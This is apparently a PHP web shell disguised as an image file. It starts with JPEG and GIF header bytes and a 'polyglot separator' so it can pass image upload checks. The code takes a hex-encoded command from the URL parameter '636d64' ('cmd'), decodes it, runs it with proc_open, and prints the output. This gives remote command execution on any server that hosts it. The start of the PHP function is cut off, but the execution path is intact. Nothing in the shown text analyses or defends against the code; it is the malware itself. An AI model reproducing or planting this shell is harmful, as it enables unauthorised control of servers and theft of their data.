ÿØÿà JFIF
/* POLYGLOT SEPARATOR */
GIF89a;
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
// Read output from stdout and stderr
$output_stdout = stream_get_contents($pipes[1]);
$output_stderr = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($process);
return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr;
} else {
return "Failed to execute command.";
}
}
if (isset($_GET['636d64'])) {
$command = hex2bin($_GET['636d64']);
$result = executeCommand($command);
}
?>
Command Execution
Command Execution
Result: